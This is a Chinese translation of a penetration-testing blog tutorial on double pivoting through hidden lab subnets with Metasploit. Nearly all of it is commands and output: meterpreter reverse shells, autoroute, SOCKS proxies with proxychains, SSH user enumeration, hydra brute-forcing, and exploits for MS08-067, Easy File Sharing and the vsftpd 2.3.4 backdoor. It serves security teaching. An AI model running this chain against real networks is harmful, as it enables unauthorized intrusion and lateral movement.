多重转发渗透隐藏内网

on under msf
13 minute read

0x00 About

内网机器如下:

说明:
1)Attacker为攻击者,有一个网卡,网段为172.16.0.0,Attacker系统为kali系统
2)RD为第一个已经渗透的目标,有两块网卡,对应172.16.0.0和7.7.7.0两个网段
3)JC有两块网卡,对应7.7.7.0和8.8.8.0两个网段,JC有ms08-067和efs bof两个漏洞,可getshell
4)SK有一块网卡,对应8.8.8.0网段,SK有vsftpd的漏洞,可getshell
5)起初Attacker只拿到RD的msf的shell,对于目标内网情况一无所知,也不知道存在7.7.7.0和8.8.8.0这两个隐藏的网段
6)目标是准备通过RD来渗透内网中7.7.7.0和8.8.8.0两个隐藏的网段

0x01 Step1

Attacker在RD上通过webshell运行了一个reverse类型的后门,然后操作如下:

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.0.20 
LHOST => 172.16.0.20
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > run
[*] Started reverse TCP handler on 172.16.0.20:1234 
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 172.16.0.11
[*] Meterpreter session 2 opened (172.16.0.20:1234 -> 172.16.0.11:49162)
meterpreter > ifconfig
Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:e1:3f:af
MTU          : 1500
IPv4 Address : 172.16.0.11
IPv4 Netmask : 255.255.255.0
Interface 19
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 08:00:27:7f:3c:fe
MTU          : 1500
IPv4 Address : 7.7.7.11
IPv4 Netmask : 255.255.255.0

0x02 Step2

发现RD有两块网卡后,想办法渗透另一个网段7.7.7.0,首先要添加路由[不添加路由也可以直接用meterpreter shell中的模块访问 到7.7.7.x网段,添加路由的目的是为了使得msf模块可以访问到7.7.7.x网段],meterpreter shell可以访问到7.7.7.x网段,msf 中的模块不能访问到7.7.7.x网段,msf中的模块所处的ip是攻击者的ip,meterpreter shell所处的ip是RD的ip.在meterpreter中 添加路由的目的是为了给msf模块作代理,也即给Attacker作代理,但是只能给Attacker的msf模块作代理,要想给Attacker的其他 应用程序作代理,则需要在meterpreter添加路由后再运行msf的开启sock4的模块,然后再用proxychains来设置Attacker的其他 应用程序的代理为msf的开启sock4代理模块中设置的代理入口.

操作如下:

meterpreter > run autoroute -s 7.7.7.0/24
[*] Adding a route to 7.7.7.0/255.255.255.0...
[+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
Active Routing Table
====================
 Subnet Netmask Gateway
 ------ ------- -------
 7.7.7.0 255.255.255.0 Session 2
meterpreter >

然后开始扫描7.7.7.0网段,操作如下:

meterpreter > run post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24
[*] Running module against DISCORDIA
[*] ARP Scanning 7.7.7.0/24
[*]     IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
[*]     IP  7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUS CIMPUTER SYSTEMS)
[*]     IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
[*]     IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
meterpreter >

arp_scanner不太够用,不能扫到端口信息[此时也可用msf自带的其他可以扫描端口的模块如auxiliary/scanner/portscan/tcp来扫 描,因为前面添加了路由,使得msf中的模块可以用meterpreter作为代理访问到7.7.7.x网段],于是用Attacker本机的nmap来扫[可以 更完全的扫描,nmap应该比msf中的扫描模块强大],首先在RD上开sockets4代理,然后用proxychains设置nmap的代理为msf模块开 启的Attacker的1080端口提供的代理,操作如下:

meterpreter > background 
[*] Backgrounding session 2...
msf > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options 
Module options (auxiliary/server/socks4a):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.
Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  
msf auxiliary(socks4a) > set srvhost 172.16.0.20
srvhost => 172.16.0.20
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > netstat -antp | grep 1080
[*] exec: netstat -antp | grep 1080
tcp        0      172.16.0.20:1080            0.0.0.0:*               LISTEN      3626/ruby       
msf auxiliary(socks4a) >

proxychains设置/etc/proxychains.conf如下:

[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4  127.0.0.1 9050
socks4  172.16.0.20 1080

nmap扫描如下:

root@kali:~# proxychains nmap -sT -sV -Pn -n -p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.25BETA1 ( https://nmap.org )
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:80-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:139-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:135-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:445-<><>-OK
Nmap scan report for 7.7.7.20
Host is up (0.17s latency).
PORT     STATE    SERVICE      VERSION
22/tcp   open     ssh          Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)
80/tcp   closed   http         Easy File Sharing Web Server httpd 6.9
135/tcp  open     msrpc        Microsoft Windows RPC
139/tcp  open     netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open     microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs: CVE:CVE-2008-4250
|          The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2, 
|          Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary 
|          code via a crafted RPC request that triggers the overflow during path canonicalization.
| 
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
root@kali:~#

现在发现了7.7.7.20(JC)这台机器端口开放比较多,尝试找出JC的漏洞,操作如下: 首先看看JC的80端口运行了什么cms,但是Attacker的浏览器直接访问http://172.16.0.20会无法访问,因为Attacker的网段与JC 不在同一网段,此处有个要注意的内容:

Attention: 可以选择使用proxychains设置Attacker的浏览器的代理为Attacker的1080端口的socks4代理入口,也可通过在RD的meterpreter会 话中运行portfwd模块命令,portfwd命令如下:
meterpreter > portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20
[*] Local TCP relay created: 172.16.0.20:2323 <-> 7.7.7.20:80
meterpreter >

meterpreter > portfwd list
Active Port Forwards
====================
   Index  Local             Remote       Direction
   -----  -----             ------       ---------
   1      172.16.0.20:2323  7.7.7.20:80  Forward
1 total active port forwards.
meterpreter >

通过访问Attacker的2323端口访问JC的80端口,结果如下:


这里的portfwd模块不只是名字上的端口转发的意思,目前笔者认为portfwd相当于半个ssh正向代理加一个ssh反向代理组成的综合命
令,ssh正向反向代理可参考这里的理解 
ssh正向反向代理理解

笔者认为portfwd命令之后Attacker可以通过访问Attacker本身ip的2323端口进而访问到JC的80端口期间发生了3件事


1.RD访问JC的80端口,这里相当于半个ssh正向代理
2.RD绑定已经访问到的JC的80端口的数据到Attacker的2323端口,这里相当于一个ssh反向代理,相当于RD有Attacker的ssh权限
3.攻击者的浏览器访问攻击者自己的172.16.0.20:2323

portfwd的用法如下:

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
     -L >opt>  The local host to listen on (optional).
     -h        Help banner.
     -l >opt>  The local port to listen on.
     -p >opt>  The remote port to connect on.
     -r >opt>  The remote host to connect on.
meterpreter >
其中-L只能设置为攻击者的ip,不能设置为肉鸡的ip,-L设置的ip可以是攻击者的内网ip,-r也可以是目标的内网ip,两个内网之 间通过meterpreter会话的"隧道"来连通,如果-L后设置的ip是攻击者的内网ip,-r后设置的是目标机器的内网ip,portfwd通过 meterpreter会话连通两台,-l是指攻击者的监听端口,运行完上面的portfwd add -L 172.16.0.20 -l 2323 -p 80 -r 7.7.7.20 命令后,Attacker的2323端口将变成监听状态(也即Attacker会开启2323端口) 这里还要注意route add命令只能是在meterpreter会话中有效,不能系统全局有效,笔者认为route add也是通过meterpreter会 话的"隧道"来实现攻击者能够访问目标机器其他网段机器的,也即在上面的Attacker通过portfwd来实现访问目标机器其他网段 机器而不能因为在portfwd模块运行前由于已经运行了route add模块而由Attacker的浏览器直接访问目标7.7.7.20:80,因为 route add只会给msf的模块提供meterpreter会话通道作为代理服务,只有meterpreter会话下可用的模块可以直接访问7.7.7.x 网段,Attacker的浏览器想直接访问7.7.7.20需要使用proxychins和msf开启的sock4代理.

上面访问得到目标机器JC的80端口信息看出JC运行的是Eash File Sharing Web Server,可用msf中的模块尝试getshell,操作如 下(如果没有在meterpreter中添加路由msf是访问不到7.7.7.20的):

msf  > use exploit/windows/http/easyfilesharing_seh 
msf exploit(easyfilesharing_seh) > show options 
Module options (exploit/windows/http/easyfilesharing_seh):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  80               yes       The target port
Exploit target:
   Id  Name
   --  ----
   0   Easy File Sharing 7.2 HTTP
msf exploit(easyfilesharing_seh) > set rhost 7.7.7.20
rhost => 7.7.7.20
msf exploit(easyfilesharing_seh) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(easyfilesharing_seh) > run
[*] Started bind handler
[*] 7.7.7.20:80 - 7.7.7.20:80 - Sending exploit...
[+] 7.7.7.20:80 - Exploit Sent
[*] Sending stage (957999 bytes) to 7.7.7.20
[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) at 2016-12-26 14:21:11 +0300

或者从JC(7.7.7.20)22端口入手:

msf > use auxiliary/scanner/ssh/ssh_enumusers 
msf auxiliary(ssh_enumusers) > set rhosts 7.7.7.20
rhosts => 7.7.7.20
msf auxiliary(ssh_enumusers) > set rport 22
rport => 22
msf auxiliary(ssh_enumusers) > set user_file /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
user_file => /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
msf auxiliary(ssh_enumusers) > run
[*] 7.7.7.20:22 - SSH - Checking for false positives
[*] 7.7.7.20:22 - SSH - Starting scan
[+] 7.7.7.20:22 - SSH - User 'admin' found
[-] 7.7.7.20:22 - SSH - User 'root' not found
[-] 7.7.7.20:22 - SSH - User 'Administrator' not found
[+] 7.7.7.20:22 - SSH - User 'sysadm' found
[-] 7.7.7.20:22 - SSH - User 'tech' not found
[-] 7.7.7.20:22 - SSH - User 'operator' not found
[+] 7.7.7.20:22 - SSH - User 'guest' found
[-] 7.7.7.20:22 - SSH - User 'security' not found
[-] 7.7.7.20:22 - SSH - User 'debug' not found
[+] 7.7.7.20:22 - SSH - User 'manager' found
[-] 7.7.7.20:22 - SSH - User 'service' not found
[-] 7.7.7.20:22 - SSH - User '!root' not found
[+] 7.7.7.20:22 - SSH - User 'user' found
[-] 7.7.7.20:22 - SSH - User 'netman' not found
[+] 7.7.7.20:22 - SSH - User 'super' found
[-] 7.7.7.20:22 - SSH - User 'diag' not found
[+] 7.7.7.20:22 - SSH - User 'Cisco' found
[-] 7.7.7.20:22 - SSH - User 'Manager' not found
[+] 7.7.7.20:22 - SSH - User 'DTA' found
[-] 7.7.7.20:22 - SSH - User 'apc' not found
[+] 7.7.7.20:22 - SSH - User 'User' found
[-] 7.7.7.20:22 - SSH - User 'Admin' not found
[+] 7.7.7.20:22 - SSH - User 'cablecom' found
[-] 7.7.7.20:22 - SSH - User 'adm' not found
[+] 7.7.7.20:22 - SSH - User 'wradmin' found
[-] 7.7.7.20:22 - SSH - User 'netscreen' not found
[+] 7.7.7.20:22 - SSH - User 'sa' found
[-] 7.7.7.20:22 - SSH - User 'setup' not found
[+] 7.7.7.20:22 - SSH - User 'cmaker' found
[-] 7.7.7.20:22 - SSH - User 'enable' not found
[+] 7.7.7.20:22 - SSH - User 'MICRO' found
[-] 7.7.7.20:22 - SSH - User 'login' not found
[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
^C
msf auxiliary(ssh_enumusers) >

然后用hydra本地用msf模块开启的1080端口的sock4代理尝试爆破:

root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4
ProxyChains-3.1 (http://proxychains.sf.net)
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting 
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task
[DATA] attacking service ssh on port 22
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
<><>-OK
<><>-OK
<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
[22][ssh] host: 7.7.7.20   login: admin   password: 123456
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished
root@kali:~#

发现有可用帐户密码admin:123456,然后再用sock4代理ssh登录:

root@kali:~# proxychains ssh admin@7.7.7.20
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established.
ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts.
admin@7.7.7.20's password: 
bvshell:/C/Documents and Settings/All Users$ pwd
/C/Documents and Settings/All Users
bvshell:/C/Documents and Settings/All Users$ dir
2016-12-24  21:32          <DIR> Application Data
2016-12-25  06:16          <DIR> Desktop
2016-12-24  18:36          <DIR> Documents
2016-12-24  18:37          <DIR> DRM
2016-12-24  21:32          <DIR> Favorites
2016-12-24  18:38          <DIR> Start Menu
2016-12-24  21:32          <DIR> Templates
      0 Files                  0 bytes
      7 Directories
bvshell:/C/Documents and Settings/All Users$

或者用ms08067:

msf > use exploit/windows/smb/ms08_067_netapi 
msf exploit(ms08_067_netapi) > show options 
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       The SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
msf exploit(ms08_067_netapi) > set rhost 7.7.7.20
rhost => 7.7.7.20
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options 
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    7.7.7.20         yes       The target address
   RPORT    445              yes       The SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     7.7.7.20         no        The target address
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
msf exploit(ms08_067_netapi) > run
[*] Started bind handler
[*] 7.7.7.20:445 - Automatically detecting the target...
[*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English
[*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 7.7.7.20:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 7.7.7.20
[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444) 
meterpreter >

成功溢出getshell后查看JC(7.7.7.20)网卡信息:

meterpreter > ipconfig
Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1
Interface 65539
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:29:cd:cb
MTU          : 1500
IPv4 Address : 8.8.8.3
IPv4 Netmask : 255.255.255.0
Interface 65540
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 08:00:27:e3:47:43
MTU          : 1500
IPv4 Address : 7.7.7.20
IPv4 Netmask : 255.255.255.0
meterpreter >

发现又出现一个8.8.8.x的网段,于是将这个网段添加路由,以便msf中的模块可以访问到8.8.8.x网段

0x03 Step3

先直接用新的meterpreter shell看看8.8.8.x这个网段有什么机器

meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24
[*] Running module against SRV03
[*] ARP Scanning 8.8.8.0/24
[*]   IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)
[*]   IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)
[*]   IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)
[*]    IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)

为了让msf中所有模块都能访问到8.8.8.x网段,在新的meterpreter会话中添加路由:

meterpreter > run autoroute -s 8.8.8.0/24
[*] Adding a route to 8.8.8.0/255.255.255.0...
[+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20
[*] Use the -p option to list all active routes

为了让Attacker的除了msf模块以外的其他应用程序能访问到8.8.8.x网段,再使用msf的开启sock4代理的模块开启另外一个端口 作为8.8.8.x网段的入口:

msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a 
msf auxiliary(socks4a) > show options 
Module options (auxiliary/server/socks4a):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  172.16.0.20      yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.
Auxiliary action:
   Name   Description
   ----   -----------
   Proxy  
msf auxiliary(socks4a) > set SRVPORT 1081
SRVPORT => 1081
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >

也即现在Attacker本地的1080端口的代理可以访问到7.7.7.x网段,1081端口的代理可以访问到8.8.8.x网段,然后将新开的端口 添加到proxychains的配置文件中:

root@kali:~# cat /etc/proxychains.conf | grep -v "#"
dynamic_chain
proxy_dns 
tcp_read_time_out 15000
tcp_connect_time_out 8000
socks4  172.16.0.20 1080  # First Pivot
socks4  172.16.0.20 1081  # Second Pivot

上面的两个代理相当于扇门的钥匙,172.16.0.20:1080是7.7.7.x的钥匙,172.16.0.20:1081是7.7.7.x后面的8.8.8.x的钥匙 ,Attacker要想访问到8.8.8.x可以通过先打开7.7.7.x的门,再打开8.8.8.x的门(因为8.8.8.x这个门在7.7.7.x这个门之后)

使用Attacker本地的nmap扫描下8.8.8.x网段:

root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vv
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.25BETA1 ( https://nmap.org )
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
NSE: Loaded 36 scripts for scanning.
Initiating Connect Scan
Scanning 8.8.8.9 [4 ports]
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
Discovered open port 21/tcp on 8.8.8.9
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
Discovered open port 23/tcp on 8.8.8.9
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
Discovered open port 22/tcp on 8.8.8.9
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
Discovered open port 80/tcp on 8.8.8.9
Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)
Initiating Service scan at 05:54
Scanning 4 services on 8.8.8.9
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)
NSE: Script scanning 8.8.8.9.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 05:54
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
Completed NSE at 05:54, 1.71s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Nmap scan report for 8.8.8.9
Host is up, received user-set (0.41s latency).
Scanned 
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 2.3.4
22/tcp open  ssh     syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open  telnet  syn-ack Linux telnetd
80/tcp open  http    syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
root@kali:~#

发现8.8.8.9(SK)这台机器可能有漏洞,用msf模块尝试getshell:

msf > 
msf > use exploit/unix/ftp/vsftpd_234_backdoor 
msf exploit(vsftpd_234_backdoor) > show options 
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9
rhost => 8.8.8.9
msf exploit(vsftpd_234_backdoor) > run
[*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 8.8.8.9:21 - USER: 331 Please specify the password.
[+] 8.8.8.9:21 - Backdoor service has been spawned, handling...
[+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 4 opened (Local Pipe -> Remote Pipe) 
pwd
/
id
uid=0(root) gid=0(root)
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:56:f1:7c  
          inet addr:8.8.8.9  Bcast:8.8.8.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:10843 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1081842 (1.0 MB)  TX bytes:661455 (645.9 KB)
          Base address:0xd010 Memory:f0000000-f0020000 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:18161 errors:0 dropped:0 overruns:0 frame:0
          TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:5307479 (5.0 MB)  TX bytes:5307479 (5.0 MB)

翻译自:https://pentest.blog/explore-hidden-networks-with-double-pivoting/

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